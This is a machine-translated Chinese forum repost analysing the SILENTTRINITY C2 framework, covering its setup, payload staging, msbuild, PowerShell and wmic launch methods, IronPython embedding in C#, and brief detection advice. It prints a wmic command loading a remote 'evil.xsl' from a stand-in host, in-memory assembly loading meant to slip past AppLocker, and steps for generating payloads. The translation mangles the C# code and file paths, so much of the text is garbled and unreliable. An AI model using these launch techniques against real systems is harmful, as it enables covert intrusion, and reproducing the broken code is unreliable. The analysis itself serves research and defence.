跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

沉默三位一体的利用分析


尖REN

推荐的帖子

0x00 前言

SILENTTRINITY是一款C2工具,由byt3bl33d3r开源。用C#实现,使用IronPython引擎执行Python代码,值得研究。这个工具通过Python实现有效载荷,不仅提高了效率,而且使用IronPython引擎从内存加载有效载荷,更加隐蔽。

本文将从技术研究的角度对沉默三位一体原则进行分析和扩展,最后给出防御侦查的一些建议。

地址:

https://github.com/byt3bl33d3r/SILENTTRINITY

0x01 简介

本文将介绍以下内容:

SILENTTRINITY的简单用法

SILENTTRINITY的实现细节

# C用IronPython调用Python的方法

辩护建议

0x02 SILENTTRINITY的简单使用

方法类似于meterpreter。

1、安装

git克隆https://github.com/byt3bl33d3r/SILENTTRINITY.git

cd SILENTTRINITY

python3 -m pip安装要求. txt

python3 st.py

2、开启teamserver

python3 teamserver.py

3、连接teamserver

python 3 ST . py WSS://用户名:@:5000

4、开启监听

听众

使用http

选择

开始

5、生成payload

舞台演员

目录

使用msbuild

生成http

6、启动方式之一

C:\Windows\Microsoft。NET \ framework 64 \ v 4 . 0 . 30319 \ msbuild . exe msbuild . XML

0x03 SILENTTRINITY的实现细节

源代码的文件结构如下:

SILENTTRINITY,核心文件,用C#开发,exe格式

SILENTTRINITY_DLL,同上,但为DLL格式

服务器,控制端,包括用Python实现的多个有效载荷。

SILENTTRINITY和SILENTTRINITY_DLL功能相同,只是文件格式不同,这里我们以SILENTTRINITY为例。

1、SILENTTRINITY

实现的功能可以参考下图右半部分:

46646842-cd2b0580-cb49-11e8-9218-73226e977d58.png

注:

这幅画引自https://github.com/byt3bl33d3r/SILENTTRINITY

详情如下:

1. 启动IronPython引擎,释放资源文件并导入Python环境

资源文件名:IronPython。标准库

压缩包中的文件是Python的默认模块。

如果安装了IronPython,压缩包的文件与默认安装路径下C:\ Program Files \ IronPython 2.7 \ lib中的文件内容一致。

IronPython下载地址:

https://github . com/iron languages/iron python 2/releases/tag/ipy-2 . 7 . 9

2. 从Server下载stage.zip

stage.zip中有五个文件:

IronPython.dll

IronPython。Modules.dll

微软。Dynamic.dll

微软。Scripting.dll

Main.py

其中,前四个是IronPython引擎的依赖文件,Main.py是主程序,用于接收控制命令,加载有效载荷,返回输出结果。

3. 利用IronPython调用Python

这将在后面详细描述。

2、Server

作为控制端

模块文件夹包含所有支持的Python脚本。

RS文件夹下有三种启动方式:

msbuild

powershell

wmic

1. msbuild

启动模式:

C:\Windows\Microsoft。NET \ framework 64 \ v 4 . 0 . 30319 \ msbuild . exe msbuild . XML

流程:

msbuild.exe-。xml-C#

通过msbuild.xml加载msbuild.xml,在。这里用的是NET Framework 4.0,包含在UsingTask元素中,可以用来执行xml文件中的c#代码。

Msbuild.xml实现加密字符串的base64解码,解密SILENTTRINITY,最后加载到内存中(C#实现)

我在上一篇文章中使用了这种方法进行分析:

《Use MSBuild To Do More》

2. powershell

启动模式:

执行powershell脚本

流程:

powershell.exe-.ps1-C#

同样,加密的字符串用base64解码,SILENTTRINITY解密,最后加载到内存中(Powershell实现)。关键代码如下:

$ ASM=[反射。assembly]:Load($ uncompressed file bytes)

$type=$asm。GetType('ST ')

$main=$type。GetMethod('Main ')

表示在exe的Main下加载ST方法。

我在上一篇文章中使用了这种方法进行分析:

《利用Assembly Load LoadFile绕过Applocker的分析总结》

3. wmic

启动模式:

c:\ Windows \ System32 \ WBEM \ wmic . exe OS get/format:' evil . xsl '

或者

c:\ Windows \ System32 \ WBEM \ wmic . exe OS get/format:' https://example . com/evil . xsl '

流程:

wmic.exe-。xsl-javascript

通过wmic.exe加载wmic.xsl,wmic.xsl可以放在本地或远程服务器上

类似地,加密的字符串由base64解码,SILENTTRINITY解密,最后加载到内存中(JavaScript实现)。

我在上一篇文章中使用了这种方法进行分析:

《利用wmic调用xsl文件的分析与利用》

4. 其他可供利用的方法

SILENTTRINITY不包括在内,这里作为扩展,例如:

regsvr32.exe,《Code Execution of Regsvr32.exe》

rundll32.exe,《关于利用rundll32执行程序的分析》

0x04 C#利用IronPython调用Python的方法

需要使用IronPython,参考资料:

https://ironpython.net/

本节介绍一些基本用法,有助于进一步扩展沉默的三位一体的功能

1、常用的基本脚本

下载安装IronPython:

https://github。com/iron languages/iron python 2/tree/master/Src/iron python编译器

开发工具:VS2015

新建C#工程,添加引用:

铁皮洪

微软。脚本

注:

编译后生成的可执行程序的扩展名在执行时需要以下依赖文件:

IronPython.dll

IronPython .Modules.dll(有的工程不需要)

微软。Dynamic.dll

微软。Scripting.dll

1.简单的hello world程序,调用test.py,输出Hello World

代码1:

使用系统;

使用系统。集合。泛型;

使用系统100 . Linq

使用系统。文本;

使用IronPython .托管;

命名空间IronPythonTest

{

班级计划

{

静态void Main(string[] args)

{

var engine=Python .创建引擎();

引擎执行文件(' test。py’);

}

}

}

测试。py:

打印(“你好世界”)

2.向python脚本传参数并输出

代码2:

使用系统;

使用系统。集合。泛型;

使用系统100 . Linq

使用系统。文本;

使用IronPython .托管;

命名空间IronPythonTest

{

班级计划

{

静态void Main(string[] args)

{

var engine=Python .创建引擎();

定义变量范围=发动机create scope();

范围SetVariable('argv ',' Hello World ');

引擎ExecuteFile('test.py ',作用域);

}

}

}

测试。py:

打印(' %s'%argv)

3.调用python脚本的main函数

代码3:

使用系统;

使用系统。集合。泛型;

使用系统100 . Linq

使用系统。文本;

使用IronPython .托管;

命名空间IronPythonTest

{

班级计划

{

静态void Main(string[] args)

{

var engine=Python .创建引擎();

定义变量范围=发动机create scope();

引擎ExecuteFile('test.py ',作用域);

动态主=范围get变量(' main ');

main();

}

}

}

测试。py:

def main():

打印(“你好世界”)

if __name__=='__main__ ':

主("")

4.将python脚本的内容存储在变量中并执行

代码4:

使用系统;

使用系统。集合。泛型;

使用系统100 . Linq

使用系统。文本;

使用IronPython .托管;

命名空间IronPythonTest

{

班级计划

{

静态void Main(string[] args)

{

string script=' print(' % s ' % argv ');

var engine=Python .创建引擎();

定义变量范围=发动机create scope();

范围SetVariable('argv ',' Hello World ');

定义变量源代码=引擎CreateScriptSourceFromString(脚本);

源代码。执行(范围);

}

}

}

5.python脚本支持第三方库

代码5:

使用系统;

使用系统。集合。泛型;

使用系统100 . Linq

使用系统。文本;

使用IronPython .托管;

命名空间IronPythonTest

{

班级计划

{

静态void Main(string[] args)

{

var engine=Python .创建引擎();

引擎SetSearchPaths(new[]{ ' Lib ' });

引擎执行文件(' test。py’);

}

}

}

找到IronPython的安装路径,默认为C:\Program Files\IronPython 2.7

将其中的解放运动目录复制到编译生成的IronPythonTest.exe的同级目录下

测试。py:

导入操作系统

os.system('calc.exe ')

2、使用ipyc将python脚本编译成exe

类似于py2exe的功能

源码:

https://github。com/iron languages/iron python 2/tree/master/Src/iron python编译器

编译好的文件可从IronPython的目录中获得

默认安装位置:

c:\ Program Files \ iron python 2.7 \ ipyc。可执行程序的扩展名

0x05 防御检测

沉默的三位一体的启动程序本身不包含恶意的功能,只是从远程服务器下载文件并利用IronPython调用Python,这是一个完全正常的功能

启动方式上利用了Windows操作系统操作系统系统本身自带的程序(例如msbuild.exe、powershell.exe、wmic.exe、也可以扩展成regsvr32.exe或rundll32.exe),较为隐蔽

但沉默的三位一体需要发起网络连接,传输stage.zip和计算机编程语言脚本,所以如果程序调用了IronPython并发起了网络连接,极有可能是存在风险的行为

0x06 小结

分析了SILENTTRINITY的实现细节,提出了一些扩展思路,介绍了C#用IronPython调用Python的方法,并结合SILENTTRINITY的特点给出了一些防御检测的建议。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...